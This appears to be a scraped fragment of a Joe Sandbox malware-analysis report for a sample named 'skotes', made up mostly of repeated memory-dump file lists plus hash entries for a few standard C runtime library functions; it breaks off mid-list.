Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: a4b6ce7524d6c2d8e08248bee5dec72e71de841a4e996f09c80243da959f87ec
Instruction ID: 5ff728d711fecdc4666debbff12384799dd33be5de7c98723119e9186af1265e
Opcode Fuzzy Hash: a4b6ce7524d6c2d8e08248bee5dec72e71de841a4e996f09c80243da959f87ec
Instruction Fuzzy Hash: 55F0BB76B0420CA7C725FA54D852D7EB36C5ED1714B208529E60957181DB709A05C791

Function 00A0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A0CC66

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 124469340639c694326a8b39252ebb809217ad669817e19aac9aaabbd3da025b
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 4DB14632D002499FEB11CF28D8917EEBBF5EF55360F14426AE855EB2C2D6388D42CB60

Function 00A167A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00A16902
__alloca_probe_16.LIBCMT ref: 00A16998
__freea.LIBCMT ref: 00A16A03
__freea.LIBCMT ref: 00A16A0F

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: edfcee4000f9a6471c7e9f1abe5c576c09c1075623681ba0dac835d38bd321da
Instruction ID: 1a4bff6a765a551789c06b8d97d5d5c6fc7f2248c97aa19e851ccec146d516ed
Opcode Fuzzy Hash: edfcee4000f9a6471c7e9f1abe5c576c09c1075623681ba0dac835d38bd321da
Instruction Fuzzy Hash: 2381A072D00259AFDF219FA58981EEF7BB9AF49354F194159E810FB281E735CC80CBA1

Function 00A0504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A05115
___AdjustPointer.LIBCMT ref: 00A05138
___AdjustPointer.LIBCMT ref: 00A051D4

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999918652.0000000000CD1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999992053.0000000000CD2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000115605.0000000000CD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000156303.0000000000CD9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000265269.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000344808.0000000000CE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000435265.0000000000CE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3000524694.0000000000CE8000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_9d0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9b2b86ffa60a913ed9d0d427fdfceb45d2816608a48e976f9b55d67a1b5f29f8
Instruction ID: b31fe78e441948efb78065e4424b80d4a815bea71fffbe5a169bffc35b540676
Opcode Fuzzy Hash: 9b2b86ffa60a913ed9d0d427fdfceb45d2816608a48e976f9b55d67a1b5f29f8
Instruction Fuzzy Hash: 9351B272E01A09AFDB29AF24E981B7BB7B5EF54300F144629E901462D1E731AD40CF90

Function 00A04C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00A04C66
TypeidsEqual.LIBVCRUNTIME ref: 00A04C8B
PMDtoOffset.LIBCMT ref: 00A04CA1
PMDtoOffset.LIBCMT ref: 00A04D22

Memory Dump Source

Source File: 00000005.00000002.2992110344.00000000009D1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000005.00000002.2991874506.00000000009D0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992110344.0000000000A32000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992581593.0000000000A39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2992772462.0000000000A3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2993790709.0000000000A47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994545376.0000000000B93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994674404.0000000000B95000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994780304.0000000000BB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994879159.0000000000BB1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2994971483.0000000000BB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995071412.0000000000BB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BB4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995199318.0000000000BBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995393538.0000000000BC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995537493.0000000000BC1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995717445.0000000000BC2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995870228.0000000000BC5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2995977495.0000000000BCE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996066184.0000000000BCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996164352.0000000000BD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996276830.0000000000BD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996370296.0000000000BEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996469217.0000000000BFD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996573010.0000000000BFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996667222.0000000000C03000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996769562.0000000000C0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996861908.0000000000C0F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2996953671.0000000000C18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997073092.0000000000C1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997170546.0000000000C1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997361016.0000000000C24000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997437419.0000000000C25000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997530013.0000000000C29000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997645434.0000000000C41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997718996.0000000000C44000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997799101.0000000000C4B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997893331.0000000000C50000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2997989367.0000000000C51000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998060362.0000000000C54000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998132345.0000000000C55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998243562.0000000000C57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998293360.0000000000C59000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998384288.0000000000C5D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2998980955.0000000000C6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999077083.0000000000C9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2999820247.0000000000CCF000.00000080.00000001.01000000.00000007.sdmpDownload File
